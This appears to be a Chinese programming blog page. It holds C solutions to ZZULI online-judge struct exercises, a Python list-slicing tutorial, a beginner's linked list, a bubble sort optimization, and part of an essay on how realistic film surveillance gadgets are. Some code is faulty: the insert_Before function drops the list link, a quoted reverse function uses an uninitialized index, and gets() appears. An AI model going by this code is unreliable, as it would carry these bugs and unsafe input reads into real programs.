scanf("%s %s %d %d %d",stu[i].ID,stu[i].name,&stu[i].a,&stu[i].b,&stu[i].c);//输入各个学生的数据存入结构体数组 sum[i]=stu[i].a+stu[i].b+stu[i].c;//将每个学生的总成绩存入数组 if(sum[i]>sum[max])//记录最高成绩的下标 max=i; } printf("%s %s %d %d %d\n",stu[max].ID,stu[max].name,stu[max].a,stu[max].b,stu[max].c); return 0; } 1181:谁的年龄最小(结构体专题) #include <stdio.h> typedef struct s{ char name[21]; int a,b,c; }G; int main() { int n; scanf("%d",&n); int i=0; int max=0; G stu[100]; for(i=0;i<n;i++){ scanf("%s %d %d %d",stu[i].name,&stu[i].a,&stu[i].b,&stu[i].c); if(stu[i].a>stu[max].a){ max=i; } else if(stu[i].a==stu[max].a){ if(stu[i].b>stu[max].b){ max=i; } else if(stu[i].b==stu[max].b){ if(stu[i].c>stu[max].c) { max=i; } } } } printf("%s %04d-%02d-%02d",stu[max].name,stu[max].a,stu[max].b,stu[max].c); return 0; } 1182:查询记录(结构体专题) #include <stdio.h> #include <string.h> typedef struct s{ char name[21]; char id[21]; int a,b,c; }G; int main() { int n; int flag=0; scanf("%d",&n); int i=0; int max=0; G stu[1000]; for(i=0;i<n;i++){ scanf("%s %s %d %d %d",stu[i].id,stu[i].name,&stu[i].a,&stu[i].b,&stu[i].c); } char g[25]; scanf("%s",g); int j=0; for(j=0;j<n;j++){ if(strcmp(stu[j].id,g)==0){ max=j; flag=1; break; } } // printf("%s %04d-%02d-%02d",stu[max].name,stu[max].a,stu[max].b,stu[max].c); if(flag==0){ printf("Not Found"); } else{ printf("%s %s %d %d %d",stu[max].id,stu[max].name,stu[max].a,stu[max].b,stu[max].c); } return 0; } 1183:平面点排序(一)(结构体专题) #include<stdio.h> #include <math.h> typedef struct dis { int x; int y; int d; }s; int main() { int n; s a[11]; scanf("%d",&n); for(int i=0;i<n;i++) { scanf("%d %d",&a[i].x,&a[i].y); a[i].d=pow(a[i].x*a[i].x+a[i].y*a[i].y,0.5); } s t; for(int i=0;i<n;i++) { for(int k=i+1;k<n;k++) { if(a[i].d>a[k].d) { t=a[i]; a[i]=a[k]; a[k]=t; } } } for(int i=0;i<n;i++) { printf("(%d,%d) ",a[i].x,a[i].y); } return 0; } 1184:平面点排序(二)(结构体专题) #include<stdio.h> #include<math.h> struct Dis{ int x; //x轴坐标值 int y; //y轴坐标值 }; int main() { int i,j,n; scanf("%d",&n); //输入整数的个数n struct Dis a[n]; //创建一个结构体数组 struct Dis temp; //定义结构体变量temp,用作交换时的临时变量。 //输入数据 for(i=0;i<n;i++) { scanf("%d%d",&a[i].x,&a[i].y); //输入x,y } //进行升序排序,到时候逆序输出就是降序排序 for(i=0;i<n;i++) for(j=i+1;j<n;j++) { if(a[i].x==a[j].x) //如果横坐标相同,按照纵坐标排序 { if(a[i].y>a[j].y) { temp=a[i];a[i]=a[j];a[j]=temp; } } else //横坐标不同,按照纵坐标排序 { if(a[i].x>a[j].x) { temp=a[i];a[i]=a[j];a[j]=temp; } } } //输出升序排好序的数据 for(i=0;i<n;i++) printf("(%d,%d) ",a[i].x,a[i].y); printf("\n"); //逆序输出,得到降序序列 for(i=n-1;i>=0;i--) printf("(%d,%d) ",a[i].x,a[i].y); printf("\n"); return 0; } 1185:添加记录(结构体专题) 答案1: #include<stdio.h> #include<string.h> #define swap(a,b,t) {t=a;a=b;b=t;} struct Student{ long long id; //学号 char name[21]; //姓名 int a,b,c; //三门课的成绩 }; int main() { int i,j,k,n,flag=0; struct Student stu[102]; //定义一个结构体数组 struct Student p,t; scanf("%d",&n); //输入学生人数 //输入学生信息 for(i=0;i<n;i++) scanf("%lld%s%d%d%d",&stu[i].id,stu[i].name,&stu[i].a,&stu[i].b,&stu[i].c); //输入要添加的信息 scanf("%lld%s%d%d%d",&p.id,p.name,&p.a,&p.b,&p.c); for(i=0;i<n-1;i++) for(j=i+1;j<n;j++) { if(stu[i].id>stu[j].id) swap(stu[i],stu[j],t); } //利用循环判断能否插入及插入的位置 for(i=0;i<n;i++) { if(stu[i].id==p.id) //若学号相等则存在重复,无法插入,结束循环 break; if(i==0&&p.id<stu[0].id) //考虑需要在第一个元素之前插入的情况 { flag=1; k=0; break; } if(p.id>stu[i].id&&(p.id<stu[i+1].id||i==n-1)) { flag=1; //标志着有合法插入位置 k=i+1; //表示应该在k位置插入信息 break; } } //插入 if(flag==0) printf("error!\n"); else { for(i=n;i>k;i--) //把插入位置后的元素都后移 { stu[i]=stu[i-1]; } stu[k]=p; //输出插入后的元素 for(i=0;i<=n;i++) { printf("%lld %s %d %d %d\n",stu[i].id,stu[i].name,stu[i].a,stu[i].b,stu[i].c); } } return 0; } 答案2: #include <string.h> #include <stdio.h> typedef struct s{ char name[13]; char id[21]; int a,b,c; }SY; int main() { int n; scanf("%d",&n); SY b[105]; int flag=0; int i=0; for(i=0;i<n;i++){ scanf("%s %s %d %d %d",b[i].id,b[i].name,&b[i].a,&b[i].b,&b[i].c); // 这里没有逻辑错误,但是建议使用%12s和%20s限制输入的长度,避免溢出 } getchar(); SY t,y; scanf("%s %s %d %d %d",&y.id,&y.name,&y.a,&y.b,&y.c); b[n]=y; for(i=0;i<n;i++){ if(strcmp(b[i].id, y.id) == 0){ flag=1; break; } } if(flag==1){ printf("error!"); } if(flag==0){ for(i=n-1;i>=0;i--){ if(strcmp(y.id,b[i].id)<0){ t=b[i]; b[i]=b[i+1]; b[i+1]=t; } } for(i=0;i<n+1;i++){ printf("%s %s %d %d %d\n",b[i].id,b[i].name,b[i].a,b[i].b,b[i].c); // 这里应该加一个换行符\n,否则输出不会换行 } } return 0; } 1186:删除记录(结构体专题) #include <stdio.h> #include <string.h> int main() { typedef struct student { char no[13]; char name[25]; int c; int m; int e; }date; int flag=0; date a[101]; int n; int idex; scanf("%d",&n); for(int i=0;i<n;i++) { scanf("%s %s %d %d %d",&a[i].no,&a[i].name,&a[i].c,&a[i].m,&a[i].e); } char num[13]; scanf("%s",num); for(int i=0;i<n;i++) { if(strcmp(a[i].no,num)==0) { flag=1; break; } } if(flag==0) { printf("error!\n"); } else { for(int i=0;i<n;i++) { if(strcmp(a[i].no,num)==0) { idex=i; } } for(int i=0;i<n;i++) { if(i==idex) { continue; } printf("%s %s %d %d %d\n",a[i].no,a[i].name,a[i].c,a[i].m,a[i].e); } } return 0; } 1187:棒棒糖(结构体专题) #include <stdio.h> #include<math.h> #include<limits.h> #include<string.h> #include<ctype.h> #include<malloc.h> typedef struct lollipop { double c; int b; }POP; int main() { POP a[10],b; int n,i,m,j,num=0; double sum=0.0; scanf("%d",&n); scanf("%d",&m); for(i=0;i<m;i++) scanf("%lf %d",&a[i].c,&a[i].b); for(i=0;i<m-1;i++) for(j=1;j<m-i;j++) { if(a[j-1].c>a[j].c) { b=a[j-1]; a[j-1]=a[j]; a[j]=b; } } for(i=0;i<m;i++) { if(num+a[i].b<=n) { sum+=a[i].b*a[i].c; num+=a[i].b; } else { a[i].b=n-num; sum+=a[i].b*a[i].c; num+=a[i].b; } if(num==n) { printf("%.2lf",sum); return 0; } } } 1188:选票统计(一)(结构体专题) #include <stdio.h> #include <string.h> int main() { typedef struct voter { char name[11]; int votes; }date; int n; scanf("%d",&n); date a[5]= { {"zhang",0}, {"wang",0}, {"zhao",0}, {"liu",0}, {"miao",0}, }; char s[6]; for(int i=0;i<n;i++) { scanf("%s",s); for(int k=0;k<5;k++) { if(strcmp(a[k].name,s)==0) { a[k].votes++; } } } for(int i=0;i<5;i++) { printf("%s %d\n",a[i].name,a[i].votes); } return 0; } 1189:选票统计(二)(结构体专题) #include <stdio.h> #include <string.h> int main() { typedef struct student { char name[25]; int votes; }date; date a[505]; char name[25]; int i=0,j=0,flag,max=0; while(strcmp("#",gets(name))!=0) { flag=1; for(i=0;i<j;i++) { if(strcmp(name,a[i].name)==0) { flag=0; a[i].votes++; } } if(flag==1) { strcpy(a[j].name,name); a[j].votes=1; j++; } for(i=0;i<j;i++) { if(a[i].votes>a[max].votes) { max=i; } } } printf("%s",a[max].name); return 0; } 1190:按出生日期排序(结构体专题) #include <stdio.h> int main() { typedef struct friend { char name[21]; int y;int m;int d; }date; date a[11],t; int n; scanf("%d",&n); for(int i=0;i<n;i++) { scanf("%s %d %d %d",a[i].name,&a[i].y,&a[i].m,&a[i].d); } for(int j=0;j<n;j++) { for(int k=j+1;k<n;k++) { if(a[j].m>a[k].m) { t=a[j]; a[j]=a[k]; a[k]=t; } else if(a[j].m==a[k].m) { if(a[j].d>a[k].d) { t=a[j]; a[j]=a[k]; a[k]=t; } } } } for(int i=0;i<n;i++) { printf("%s %d-%02d-%02d\n",a[i].name,a[i].y,a[i].m,a[i].d); } return 0; } 1191:数星星(结构体专题) #include <stdio.h> int main() { typedef struct star { int x; int y; }date; date a[303]; int n; scanf("%d",&n); for(int i=0;i<n;i++) { scanf("%d %d",&a[i].x,&a[i].y); } date t; for(int i=0;i<n;i++) { for(int j=i+1;j<n;j++) { if(a[i].x>a[j].x) { t=a[i]; a[i]=a[j]; a[j]=t; } else if(a[i].x==a[j].x) { if(a[i].y>a[j].y) { t=a[i]; a[i]=a[j]; a[j]=t; } } } } for(int i=1;i<n;i++) { if(a[i].x==a[i-1].x&&a[i].y==a[i-1].y) { n--; } } printf("%d\n",n); return 0; } 1192:奖学金(结构体专题) #include <stdio.h> #include <malloc.h> int main() { typedef struct student { char name[21]; int s1; int s2; char ch1; char ch2; int num; int sum; }date; date a[11]; int n,sum=0,max=0,idex; scanf("%d",&n); for(int i=0;i<n;i++) { a[i].sum=0; scanf("%s %d %d %c %c %d",a[i].name,&a[i].s1,&a[i].s2,&a[i].ch1,&a[i].ch2,&a[i].num); if(a[i].s1>80&&a[i].num>0) a[i].sum+=8000; if(a[i].s1>85&&a[i].s2>80) a[i].sum+=4000; if(a[i].s1>90) a[i].sum+=2000; if(a[i].s1>85&&a[i].ch2=='Y') a[i].sum+=1000; if(a[i].s2>80&&a[i].ch1=='Y') a[i].sum+=850; sum+=a[i].sum; if(a[i].sum>a[max].sum) { max=i; } } for(int i=0;i<n;i++) { } printf("%s\n%d\n%d",a[max].name,a[max].sum,sum); return 0; } 1193:单科成绩排序(结构体专题) #include <stdio.h> #include <string.h> int main() { typedef struct student { char no[13]; char name[21]; int c,m,e; }date; date a[101],t; int n; scanf("%d",&n); for(int i=0;i<n;i++) { scanf("%s %s %d %d %d",a[i].no,a[i].name,&a[i].c,&a[i].m,&a[i].e); } int num; scanf("%d",&num); if(num==1) { for(int i=0;i<n;i++) for(int j=i+1;j<n;j++) { if(a[i].c<a[j].c) { t=a[i]; a[i]=a[j]; a[j]=t; } else if(a[i].c==a[j].c) { if(strcmp(a[i].no,a[j].no)>0) { t=a[i]; a[i]=a[j]; a[j]=t; } } } } if(num==2) { for(int i=0;i<n;i++) for(int j=i+1;j<n;j++) { if(a[i].m<a[j].m) { t=a[i]; a[i]=a[j]; a[j]=t; } else if(a[i].m==a[j].m) { if(strcmp(a[i].no,a[j].no)>0) { t=a[i]; a[i]=a[j]; a[j]=t; } } } } if(num==3) { for(int i=0;i<n;i++) for(int j=i+1;j<n;j++) { if(a[i].e<a[j].e) { t=a[i]; a[i]=a[j]; a[j]=t; } else if(a[i].e==a[j].e) { if(strcmp(a[i].no,a[j].no)>0) { t=a[i]; a[i]=a[j]; a[j]=t; } } } } for(int i=0;i<n;i++) { printf("%s %s %d %d %d\n",a[i].no,a[i].name,a[i].c,a[i].m,a[i].e); } return 0; } 1194:总成绩排序(结构体专题) #include <stdio.h> #include <string.h> int main() { typedef struct student { char no[13]; char name[21]; int c,m,e; int sum; }date; date a[101],t; int n; scanf("%d",&n); for(int i=0;i<n;i++) { scanf("%s %s %d %d %d",a[i].no,a[i].name,&a[i].c,&a[i].m,&a[i].e); a[i].sum=a[i].c+a[i].m+a[i].e; } for(int i=0;i<n;i++) for(int j=i+1;j<n;j++) { if(a[i].sum<a[j].sum) { t=a[i]; a[i]=a[j]; a[j]=t; } else if(a[i].sum==a[j].sum) { if(strcmp(a[i].name,a[j].name)>0) { t=a[i]; a[i]=a[j]; a[j]=t; } } } for(int i=0;i<n;i++) { printf("%s %s %d %d %d %d\n",a[i].no,a[i].name,a[i].c,a[i].m,a[i].e,a[i].sum); } return 0; } 1195:猴子选大王(结构体专题) #include <stdio.h> int main() { typedef struct monkey { int id; }date; date a[102]; int m,n,k=1; scanf("%d %d",&n,&m); for(int i=1;i<=n;i++) { a[i].id=i; } while(n>1) { if((k+m-1)%n!=0) { k=(k+m-1)%n; } else k=n; for(int i=k;i<=n;i++) { a[i]=a[i+1]; } n--; if(k==n+1) { k=1; } } printf("%d",a[1].id); return 0; } 1196:数星星(二)(结构体专题) //就三百组点,全给试一遍就完事了 #include<stdio.h> struct star { double x, y; }s[301]; int main() { int n; int i, j, t, answer; int m, max = 2; double k; scanf("%d", &n); for (i = 0; i < n; i++) scanf("%lf %lf", &s[i].x, &s[i].y); for (i = 0; i < n - 1; i++)//每次选两个点,遍历所有可能的直线 { for (j = i+1; j < n; j++) { m = 2;//两点确定一条直线,至少有两个点在一条直线上 answer = 1;//记录斜率的状况 if (s[i].x != s[j].x) k = (s[i].y - s[j].y) / (s[i].x - s[j].x);//有斜率的话,套斜率公式求斜率 else answer = 0;//没有的话,记录斜率状态 if (answer == 1) { for (t = 0; t < n; t++)//遍历出点i,j外的所有点,寻找在当前判断的这条直线上的点 if (t != i && t != j) if (s[t].y - s[i].y == k * (s[t].x - s[i].x))//公式原型:y-y0=k(x-x0); m++; } else { for (t = 0; t < n; t++) if (t != i && t != j) if (s[t].x == s[i].x)//只要横坐标相等,就在线上 m++; } if (m > max) max = m; } } printf("%d", max); return 0; } 1197:考试排名(一)(结构体专题) #include <stdio.h> #include <string.h> struct score { char name[20]; int n; int arr[10]; int s; }; int main() { int b[10],m,i,j,c,d=0,z; struct score a[100],t; scanf("%d%d%d",&m,&c,&z); for(i=0;i<c;i++) { scanf("%d",&b[i]); } for(i=0;i<m;i++) { a[i].s=0; scanf("%s%d",&a[i].name,&a[i].n); for(j=0; j<a[i].n; j++) { scanf("%d",&a[i].arr[j]); } } for(i=0;i<m;i++) { for(j=0;j<a[i].n;j++) { a[i].s+=b[a[i].arr[j]-1]; } } for(i=1;i<=m;i++) { for(j=0;j<m-i;j++) { if(a[j].s<a[j+1].s) { t=a[j]; a[j]=a[j+1]; a[j+1]=t; } else if(a[j].s==a[j+1].s&&strcmp(a[j].name,a[j+1].name)>0) { t=a[j]; a[j]=a[j+1]; a[j+1]=t; } } } for(i=0;i<m;i++) { if(a[i].s>=z) { d++; } } printf("%d\n",d); for(i=0; i<m; i++) { if(a[i].s>=z) { printf("%s %d\n",a[i].name,a[i].s); } } return 0; } 1198:考试排名(二)(结构体专题) #include<stdio.h> #include<string.h> struct player{//定义结构体player char name[11];//名字 int sum;//总时长 int t;//答对题目的数目 }; int main(){ struct player man[120]; int n; scanf("%d",&n); int num=0; while((scanf("%s",man[num].name))!=EOF){ man[num].t=0; //输入一个人将其答对题目初始化为0 man[num].sum=0; //输入一个人将答题总时初始化为0 int c; for(int j=0;j<n;j++){ scanf("%d",&c);//输入一个数c表示这一题的时长 if(c>0){//如果c大于0说明答对了,c此时代表的是答题所用时长 man[num].sum+=c;//总时长加上c即为现在总用时 man[num].t++;//答对题目数目加1 } char b;//录入这个数的下一个字符 b=getchar(); if(b=='('){//如果答对没有罚时b应为空格,如果没有答对也应该为空格 scanf("%d",&c);//此时录入c,c表示在答对前答错的次数 man[num].sum+=c*20;//求现在的总时长 getchar();//将)从缓冲区取出 } } num++;//进入下一位选手 } for(int i=0;i<num-1;i++){//按题目数量排序 for(int j=i+1;j<num;j++){ if(man[i].t<man[j].t){ struct player killer=man[i]; man[i]=man[j]; man[j]=killer; } } } for(int i=0;i<num-1;i++){//题目数量相同按时长排序 for(int j=i+1;j<num;j++){ if(man[i].t==man[j].t&&man[i].sum>man[j].sum){ struct player killer=man[i]; man[i]=man[j]; man[j]=killer; } } } for(int i=0;i<num-1;i++){//都相同按字典序排序 for(int j=i+1;j<num;j++){ if(man[i].t==man[j].t&&man[i].sum==man[j].sum&&strcmp(man[i].name,man[j].name)>0){ struct player killer=man[i]; man[i]=man[j]; man[j]=killer; } } } for(int i=0;i<num;i++){//按格式输出 printf("%-10s %2d %4d\n",man[i].name,man[i].t,man[i].sum); } return 0; } 1199:在线判题(字符串) #include<stdio.h> #include<string.h> #include<stdlib.h> /*该函数用于除去s1和s2的空格符和制表符再进行判断*/ int Judge(char *s1, char *s2) { char a1[1000], a2[1000]; int i, j = 0; for(i = 0; s1[i] != '\0'; i++){ if(s1[i] != ' ' && s1[i] != '\t' && s1[i] != '\n') a1[j++] = s1[i]; } a1[j] = '\0'; j = 0; for(i = 0; s2[i] != '\0'; i++){ if(s2[i] != ' ' && s2[i] != '\t' && s2[i] !='\n') a2[j++] = s2[i]; } a2[j] = '\0'; if(strlen(a1) == strlen(a2)){ for(i = 0; i < strlen(a1); i++){ if(a1[i] != a2[i]) return 0; } return 1; } else return 0; } int main() { /*a和b做换行符计数器,flag当控制器,控制文件的读入*/ int n, i, flag = 0, a, b; /*buf和s做缓存判断,s1和s2分别是两个文件*/ char s[1000], s1[1000], s2[1000], buf[1000]; scanf("%d",&n); for(i = 0; i < n; i++){ flag = 0; a = 0; b = 0; memset(s1,0,sizeof(s1)); memset(s1,0,sizeof(s2)); while(1){ if(flag == 0){ gets(s); if(strcmp(s,"START") == 0) flag = 1; } else if(flag == 1){ gets(s); flag = 2; if(strcmp(s,"END") == 0) //这里先判断是否已经结束,如果没有结束再将s复制给s1,下面同理 break; strcpy(s1,s); a++; } else if(flag == 2){ gets(buf); if(strcmp(buf,"END") == 0) break; strcat(s1,buf); a++; } } flag = 0; while(1){ if(flag == 0){ gets(s); if(strcmp(s,"START") == 0) flag = 1; } else if(flag == 1){ gets(s); flag = 2; if(strcmp(s2,"END") == 0) break; strcpy(s2,s); b++; } else if(flag == 2){ gets(buf); if(strcmp(buf,"END") == 0) break; strcat(s2,buf); b++; } } if(strcmp(s1,s2) == 0 && a == b) printf("Accepted\n"); else{ if(Judge(s1,s2)) printf("Presentation Error\n"); else printf("Wrong Answer\n"); } } return 0; } 1200:数组的距离 #include <stdio.h> #include <math.h> int main() { int m,n,i,j; scanf("%d %d",&m,&n); int f[m]; int g[n]; for(i=0;i<m;i++) { scanf("%d",&f[i]); } for(i=0;i<n;i++) { scanf("%d",&g[i]); } int max; max=abs(f[0]-g[0]); for(i=0;i<m;i++) for(j=0;j<n;j++) { if(abs(f[i]-g[j])<max) max=abs(f[i]-g[j]); } printf("%d\n",max); return 0; }
  4. 前言 Python切片有着很广泛的应用尤其是算法里,就比如: 此时我定义了一个字符串str”woxihuanshenyu” print(str[0:-1])#输出第一个到倒数第二个所有字符 print(str[2:5])#输出第三个到第五个字符 print(str[2:])#输出第三个往后的所有字符 此时输出: 这里以图片展示了 正文 那我们就可以知道负号是倒数的意思 那么我们将切片用于数组当中 我们简单引用OJ162http://acm.zzuli.edu.cn/problem.php?id=1162作为样例来讲述切片的用法(这里解释一下python的指针其实就是对象)另外OJ只要保证结果对就行 不一定要定义他们给的函数 我们先看要求: 答案: 下面八行代码就可以成功提交OJ def f(a,n,k): a=a[-k:]+a[:-k] return a n=int(input()) a=list(map(str,input().split())) k=int(input()) a=f(a,n,k) print(*a) 输出结果: 怎么样,也不用调用任何库,简便吧,下面拓展为大家解释切片和改动一些代码让我们更能理解 先比较一下C和C++代码: C和C++的代码均引用网上的(非本人编写) 下面是C语言代码来源:https://blog.csdn.net/vivi_cin/article/details/104936834 #include<stdio.h> #include<stdlib.h> // 逆序操作函数 void reverse(int *a,int l,int r){ int i,j,t; for(i=l;i<=r;i++){ t=a[i]; a[i]=a[j]; a[j]=t; } } // 循环移位函数 void ringShift(int *a, int n, int k){ // 循环移动后的数值仍然存入数组a中 // 右移动 右边k为分割线 int i; // 将数组a的前半部分逆序 reverse(a,0,n-k-1); // 将数组a的后半部分逆序 reverse(a,n-k,n-1); // 将整个数组a逆序 reverse(a,0,n-1); // 打印移位后的数组a的元素 for(i=0;i<n;i++) printf("%d ",a[i]); printf("\n"); } int main(){ int n,i,*a,k; scanf("%d",&n); a=(int *)malloc(sizeof(int)*(n+1)); for(i=0;i<n;i++) scanf("%d",&a[i]); scanf("%d",&k); ringShift(a,n,k); return 0; } 下面是C++代码:来源https://codeantenna.com/a/VCnT18ST1g #include<iostream> #include<stdio.h> #include<stdlib.h> using namespace std; void ringShift(int *a, int n, int k); int main(){ int n, k, i; cin >> n; int* a = (int *)malloc(sizeof(int)*n); for (i = 0; i < n; i++) cin >> *(a + i); cin >> k; ringShift(a, n, k); return 0; } void ringShift(int *a, int n, int k){ int* b = (int *)malloc(sizeof(int)*n); int i; for (i = 0; i < k; i++){ b[i] = a[n - k + i]; } int c = 0; for (i = k; i < n; i++){ b[i] = a[c++]; } for (i = 0; i < n; i++){ printf("%d ", b[i]); } } 可以看出很麻烦,以前我能看下去,但是自从我学了python之后就看不下去了( 拓展 下面是为方便大家理解Python切片,为此代码添加了注释 a[-k:] 就是最后k个元素 a[:-k]就是除了最后k个元素让后重新赋值给a *a就是以数组形式输出 # 定义循环移动函数 def ringShift(a, n, k): # 使用切片操作实现循环移动 a = a[-k:] + a[:-k] # -k表示从右边数第k个元素,-k:表示从右边数第k个元素到末尾的切片 return a # 读入n n = int(input()) # 读入n个整数,转换为列表 a = list(map(int, input().split())) # 读入k k = int(input()) # 调用循环移动函数 a = ringShift(a, n, k) # 输出移动后的数组,用空格隔开 print(*a) 对于为什么输出的是*a 因为此时*a作为一个单独的对象输出,如果你去掉*那么就会输出一整个数组 问:我是强迫症,可以不用*a输出么? 答:可以 用enumerate函数也可以达到相同效果 切记:不要用 for x in range(len(a)): 因为此时此刻索引和元素已经改变 而enumerate就可以完美解决这个这个问题 代码3: def f(a,n,k): a=a[-k:]+a[:-k] return a n=int(input()) a=list(map(str,input().split())) k=int(input()) a=f(a,n,k) # 用enumerate函数遍历列表a,同时得到索引和元素 for x, val in enumerate(a): # 只打印元素,不打印索引 print(val,end=' ') 这样提交上去也是对的 切片还有更为广泛的用法,不仅仅是ACM还有网安方面,希望大家看完能多去锻炼一下,也希望能和大家一同学习.
  5. 20231206085712722.doc 下载 doc文件 262.3K
  6. 以下是一个单链表,包括单链表的建立,插入,查找,删除 由于刚开始接触链表,如有错误,还请谅解 此为整体框架 #include<stdio.h> #include<stdlib.h> typedef struct node { int date; struct node *next; }liklistnode; liklistnode *initialize(void);//初始化单链表 liklistnode *creat(int n);//尾插法建立单链表 liklistnode *locate(liklistnode *head,int key);//按值查找结点 liklistnode *get(liklistnode *head,int i);//按序号查找结点 void insert_After(liklistnode * Ptr,int x);//在指定位置后插入结点 void insert_Before(liklistnode *head,liklistnode *Ptr,int x);//在指定位置前插入结点 liklistnode *delete_After(liklistnode *Ptr);//删除指定结点的后续结点 liklistnode *delete_i(liklistnode *head,int i);//删除第i个结点 int main() { return 0; } liklistnode *initialize(void);//初始化单链表 liklistnode *initialize(void) { liklistnode *head; head = (liklistnode*)malloc(sizeof(liklistnode)); if(head == NULL) return 0; head->next=NULL; return 0; } liklistnode *creat(int n);//尾插法建立单链表 liklistnode *creat(int n) { liklistnode *head,*p,*q; head = (liklistnode*)malloc(sizeof(liklistnode)); q = head; for(int i = 0;i<n;i++) { p = (liklistnode*)malloc(sizeof(liklistnode)); p->date = 0; q->next = p; q = p; } return head; } liklistnode *locate(liklistnode *head,int key);//按值查找结点 liklistnode *locate(liklistnode *head,int key) { liklistnode *p; p = head->next; while(p!=NULL&&p->date != key) p=p->next; return p; } liklistnode *get(liklistnode *head,int i);//按序号查找结点 liklistnode *get(liklistnode *head,int i) { int j = 0; liklistnode *p=head; if(i == 0) return NULL; while(j < i&&p->next != NULL) { p=p->next; j++; } if(i == j) return p; else return NULL; } void insert_After(liklistnode * Ptr,int x);//在指定位置后插入结点 void insert_After(liklistnode * Ptr,int x) { liklistnode *s = (liklistnode*)malloc(sizeof(liklistnode)); s->date = x; s->next = Ptr->next; Ptr->next = s; } void insert_Before(liklistnode *head,liklistnode *Ptr,int x);//在指定位置前插入结点 void insert_Before(liklistnode *head,liklistnode *Ptr,int x) { liklistnode *s,*qPtr; s = (liklistnode*)malloc(sizeof(liklistnode)); s->date = x; qPtr = head; while(qPtr->next != Ptr) qPtr = qPtr->next; qPtr->next = s; } liklistnode *delete_After(liklistnode *Ptr);//删除指定结点的后续结点 liklistnode *delete_After(liklistnode *Ptr) { liklistnode *fPtr; fPtr = Ptr->next; Ptr->next = fPtr->next; return fPtr; } liklistnode *delete_i(liklistnode *head,int i);//删除第i个结点 liklistnode *delete_i(liklistnode *head,int i) { liklistnode *Ptr,*qPtr = NULL; Ptr = get(head,i-1); if(Ptr != NULL&&Ptr->next != NULL) qPtr = delete_After(Ptr); return qPtr; }
  7. 冒泡排序作为初学者最常用的排序算法之一,大家应该闭着眼都能敲出来,但是如果在数据较大的情况下,冒泡排序的效率并不高,因为它的时间复杂度是O(n^2),但是在我们又不会其它排序算法的前提下,怎么尽量给它优化一下呢,这就是今天要讲的内容。 首先先看普通代码 // 冒泡排序 void bubbleSort(int arr[], int n) { for (int i = 0; i < n - 1; i++) { for (int j = 0; j < n - 1 - i; j++) { if (arr[j] > arr[j + 1]) { int t = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = t; } } } } 它要一个个比较大小,然后从后面排到第一个,但是如果有几个数组是这样子的: arr[10]={1,2,3,4,5,6,7,8,10,9}; brr[10]={1,2,3,4,5,6,8,7,10,9}; 那是不是除了后面的那几个,其他的都排序好了呀,但是普通的冒泡排序还会继续比较前面的然后排序,这是不是使程序的效率更不高了,那有没有什么可以优化的地方呢,让我们排完后面的就结束排序呢?当然有的,请看代码: // 冒泡排序 void bubbleSort(int arr[], int n) { for (int i = 0; i < n - 1; i++) { int flag = 1; //定义一个标志 for (int j = 0; j < n - 1 - i; j++) { if (arr[j] > arr[j + 1]) { flag = 0; //如果发生则更改标志 int t = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = t; } } if (flag == 1) //如果没有发生排序则结束排序 break; } } 相比于普通的冒泡多了一个标志判断,如果前面的已经排好了,并且后面的也排好了,那么整个数组是不是就不会发生交换了呀,所以我们在这个时候就可以轻松愉快结束排序啦~ 么么哒,感谢观看~
  8. 声明:以下示例均以相对写实/纪实类电影为主,什么神盾局特工、007系列以及纯科幻类电影均不予评论。 0x01 电话窃听 商业反窃密/隐私保护/通信监听相关 在已知的技术监控史上,电话窃听,一直扮演着非常重要的角色。这里必须提及杨叔很喜欢的一部奥斯卡获奖电影《窃听风暴》。 在电影《窃听风暴》里,一位前东德安全机构斯塔西STASI的情报员,奉命对东德作家德瑞曼展开了长期的全面监听。 专业+1:如上图所示,斯塔西监控小组的部署行动非常专业,从进门时的对表计时,到器材走线,再到房间壁纸的恢复,最终完成对各个房间及电话的全面监听,观众们完全可以从中窥探到STASI作为当年全球最强大情报机构之一的能力一隅。 0x02 微型窃听器 商业反窃密/隐私保护/企业办公室及会议安全相关 先从早点的电影说起吧,之前出国参会,杨叔刚好在飞机上温习了一遍香港经典电影《英雄本色2》,时光荏苒,杨叔也从一块小鲜肉变成了......唉,不提也罢。 在电影里,有这么一段:小哥给女友父亲送了一个船模,然后顺手在模型背面贴上窃听器。 错误+1:如上图,从现代角度看这款窃听器材,这是典型的基于SIM卡的窃听器材,技术上肯定是OK的,尤其是小哥可以从随身带的接收设备(比如手机)上轻松听取实时传音。 不过遗憾的是,这部电影是在1987年上映的,作为那个还在使用大哥大电话的时代,这款小型器材只可能是基于无线电频段的。 翻下老照片:1987年,广东广州江南大道,一位女士在用“大哥大”打电话。 但若是无线电器材,这么小巧的接收设备(甚至没有天线),还能在如此远的距离接收到信号,那款窃听器材需要的发射功率和体积恐怕就比较夸张了......嘿嘿,只能说为了电影效果,导演还是比较超前的。 而在香港经典电影《窃听风云I》里,一开始,刘青云带领的警方情报组,就在嫌疑人的公司部署了大量的窃听器材,主要以无线电发射装置和针孔偷拍器材为主。 错误+2:如下图,情报组在铝合金茶几支脚里面安装窃听器材,确实很隐蔽,但还是有些问题的。因为在金属管内放置器材,很可能出现压根收不到声音,或者信号被金属屏蔽外界无法收到的情况,除非上面预先留有小孔或把天线延伸到外部。 但电影中都没有,除非勉强理解为这是一个塑料材质的支腿,仅仅外表喷了一层金属漆。 错误+3:再看下图,在这些电器里安装窃听器材的确是很专业的手法,对于普通人除了拆卸电器,确实很难发现。 但遗憾的是,这些窃听器材绝大多数都是基于无线电频段,可能个别是2/3G的,不过在办公室里这样高密度地部署,只要稍做个无线信号频谱检查或场强分析就能发现,从这一点上而言,显得不够专业。 大陆电影里已经很少见到专业器材的描述了,杨叔好容易在国产电视剧《反贪风暴》里找到这一幕:反派男猪脚发现美女的发卡里藏有窃听器,但所有的一切已被泄露。 专业+2:如上图所示,可以清楚地看到器材上插着一张SIM卡,这应该是一款基于SIM卡的远程拾音器材,即业内常说的“GSM BUG”(只是术语,并不一定是工作在2G频段),单就器材能力和体积而言,剧中没有任何夸大。 杨叔去年在几个安全大会演讲时,分享过这个小玩意在中国大陆有15年以上的销售历史,也是安防器材的销售之王。 现在国内市面上绝大部分车辆跟踪器、儿童防丢手表、老人防丢器等,嘿嘿,其本质和它是一样滴。 0x03 车辆GPS跟踪器 商业反窃密/商业隐私保护/个人隐私保护相关 在美剧《绝命毒师》第五季里,老麦通过徒手摸索,找到了安装在汽车尾部的跟踪器。 专业+3:如上图所示,这款车辆跟踪器是典型的的磁吸式车辆GPS跟踪器,剧中在外型体积上都符合实际器材特性。 